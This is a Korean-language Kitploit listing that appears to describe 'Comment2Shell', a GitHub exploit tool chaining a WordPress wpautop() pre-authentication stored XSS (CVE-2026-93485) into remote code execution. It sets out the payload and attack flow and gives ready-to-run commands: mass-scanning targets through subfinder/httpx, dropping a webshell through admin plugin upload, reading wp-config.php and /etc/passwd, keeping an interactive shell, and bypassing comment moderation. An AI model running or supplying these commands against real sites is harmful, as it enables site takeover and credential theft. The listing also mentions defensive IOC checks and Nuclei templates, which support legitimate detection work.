Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Comment2Shell — 제로클릭 사전 인증 WordPress CVE-2026-93485 익스플로잇 체인: wpautop()의 저장형 XSS가 관리자 세션 플러그인 업로드 및 자체 삭제 웹셸로 확대되며, 스캐너, 셸, Nuclei 템플릿 포함. | Kitploit
도구/GitHubGitHub/deathshotxd/comment2shell
Vulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationSecurity VirtualizationWeb SecurityPenetration TestingRed TeamingPayload DevelopmentLabs & Practice
GitHub
6516591개월 전Kitploit 검토 완료
deathshotxd/comment2shell

Comment2Shell

제로클릭 사전 인증 WordPress CVE-2026-93485 익스플로잇 체인: wpautop()의 저장형 XSS가 관리자 세션 플러그인 업로드 및 자체 삭제 웹셸로 확대되며, 스캐너, 셸, Nuclei 템플릿 포함.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Comment2Shell

Comment2Shell는 CVE-2026-93485에 대한 엔드투엔드 개념 증명(proof-of-concept)으로, WordPress 코어의 wpautop()에 존재하는 인증 전 저장형 XSS가 관리자 세션 내에서 원격 코드 실행으로 확대되는 취약점입니다. 익명 댓글이 페이로드를 심어두면, 관리자가 게시물을 열 때 브라우저가 웹셸 플러그인을 업로드하고, 명령을 실행한 뒤, 다시 셸을 삭제합니다. 전체 체인은 의존성이 없는 단일 Python 파일로 구성되어 있습니다.

Comment2Shell 로고

CVE-2026-93485, CVSS 7.1 HIGH, 인증 전, 제로 클릭, 7.1.1에서 수정됨

애니메이션 터미널: 익스플로잇 체인 전체 과정


Comment2Shell이란?

Comment2Shell은 CVE-2026-93485를 위한 익스플로잇 및 로컬 랩 키트입니다. 이 버그는 wp-includes/formatting.php에 있으며, 댓글 텍스트에 대해 표시 시점에 실행되는 wpautop() 문단 필터에 존재합니다. blockquote cite 속성 내부의 개행 문자가 HTML 주석 자리표시자로 변환되고, blockquote를 감싸는 정규식이 첫 번째 >에서 멈추면서 속성 중간에 문단 태그를 삽입하게 되며, 브라우저는 이를 onfocus 핸들러로 해석합니다. autofocus 속성이 이를 제로 클릭으로 발동시킵니다.

이 도구는 전체 체인을 다룹니다: 수동적 버전 스캔, 무해한 XSS 프로브, 인증 전에서 RCE까지의 전체 익스플로잇, 대화형 셸, 그리고 방어적 IOC 검사입니다.


이 익스플로잇은 계정도, nonce도, 관리자가 게시물을 조회하는 것 외의 어떤 상호작용도 필요하지 않습니다. 댓글 기능만 열려 있으면 됩니다.


Comment2Shell - CVE-2026-93485

왜 중요한가

WordPress는 웹의 상당 부분을 차지하며 wpautop()은 코어 코드이므로, 취약한 필터는 테마나 플러그인과 무관하게 모든 영향을 받는 설치 환경에 포함됩니다. 이 XSS는 저장형이며, 인증 전이고, 제로 클릭입니다. 관리자 세션에서 실행되기 때문에 단순한 변조 버그가 아닙니다: 관리자 쿠키만으로 플러그인을 설치할 수 있고, 플러그인 설치란 곧 임의 코드 실행입니다.

수정 사항은 WordPress 7.1.1에 포함되어 25개 브랜치에 걸쳐 4.7.36까지 백포트되었습니다. 4.7.0부터 7.1.0까지의 모든 릴리스가 영향을 받습니다.

데모


Comment2Shell 시연


WordPress 7.1.0을 대상으로 한 통제된 랩 실행: 익명 댓글이 페이로드를 심고, 관리자가 게시물을 열면 제로 클릭 체인이 발동하며, 웹셸이 업로드되고, 명령 출력이 반환된 뒤, 셸이 스스로 삭제됩니다. 브라우저 탭 제목이 결과를 보고하며, Comment2Shell: shell uploaded 또는 Comment2Shell: admin login required 중 하나입니다. 정확한 절차는 docker/README.md를 참조하세요.

연구 기여

Comment2Shell은 이 결함의 발견을 주장하지 않습니다. 이 취약점은 Rafie Muhammad(Awesome Motive)가 HackerOne WordPress 프로그램을 통해 보고했으며 7.1.1에서 수정되었습니다. 여기서의 기여는 전체 체인을 재현 가능하고 의존성 없이 구현한 것입니다:

  • 페이로드가 KSES를 통과할 수 있게 하는 표시 시점 필터 조건
  • 플러그인 업로드에 외부 파일이 필요 없도록 하는 브라우저 내 ZIP 빌더
  • 명령 실행 후 웹셸이 스스로 링크를 해제하는 자동 정리
  • 블루팀 산출물: nuclei 템플릿, IOC 스크립트, 로그 쿼리

공격 흐름

익명 댓글, wpautop 버그, 제로 클릭 XSS, 관리자 조회, 원격 코드 실행


1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

요구 사항

  • 게시된 글에 댓글이 열려 있어야 함 (기본값)
  • 익명 댓글 허용 (기본값, comment_registration=0)
  • 블록 테마 활성화 (Twenty Twenty-Two 이후 기본값)
  • 로그인 상태에서 글을 조회하는 관리자
  • Python 3.8+ (표준 라이브러리만 사용)

설치

git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Python 3.8+ 표준 라이브러리만 사용하며, pip install은 필요하지 않습니다.

사용법

수동 버전 스캔

# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -dL targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

각 결과 객체는 다음 필드를 가집니다:

필드의미
target정규화된 대상 URL
wordpressWordPress가 탐지된 경우 true
version탐지된 버전, 또는 null
version_method버전이 발견된 방식, 예를 들어 meta 또는 readme
vulnerabletrue, false, 또는 버전을 알 수 없는 경우 null
post_id댓글을 달 수 있는 게시물 ID, 또는 null
error오류 문자열, 또는 null

활성 XSS 프로브

# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

명령 실행까지의 전체 익스플로잇 체인

익스플로잇 페이로드는 페이지 로드 시 alert("Comment2Shell XSS - CVE-2026-93485")를 실행합니다(autofocus를 통한 제로 클릭). 관리자로 로그인한 상태에서 게시물을 조회하세요. 성공하면 탭 제목이 Comment2Shell: shell uploaded로 표시되고, 브라우저에 관리자 세션이 없으면 Comment2Shell: admin login required로 표시됩니다.

# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080

이 도구는 XSS 댓글을 제출하고, 생성된 웹셸 경로를 3초마다(최대 --wait초까지) 폴링하며, 관리자의 브라우저가 업로드를 트리거하면 명령을 실행한 뒤 셸을 스스로 삭제합니다(?d=1은 PHP 파일을 unlink하고 플러그인 디렉터리를 제거함). 따라서 아무런 지속성도 남지 않습니다. 셸을 유지하려면 --no-cleanup을, 페이로드만 제출하려면 --wait 0을 전달하세요.

대화형 셸

# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
  --shell-path ab12cd/ab12cd.php

# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
  --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"

IOC 확인

python3 comment2shell.py --ioc -t https://target.com

댓글 승인 우회

처음 댓글을 작성하는 사용자의 새 댓글은 보통 검토를 위해 보류됩니다. 이 도구에는 이를 우회하는 세 가지 경로가 있습니다:

경로방법플래그
알려진 댓글 작성자check_comment()가 자동 승인하는 기본 "A WordPress Commenter" <[email protected]>를 재사용--known-commenter
검토 비활성화comment_previously_approved=0인 경우 모든 신원이 자동 승인됨기본값
작성자 미리보기이전 댓글 작성자가 ?unapproved=<id>&moderation-hash=<hash> 쿠키를 통해 보류 중인 댓글을 봄자동

Patchstack에 따르면: "검토는 보안 통제 수단이 아닙니다."

도구 다운로드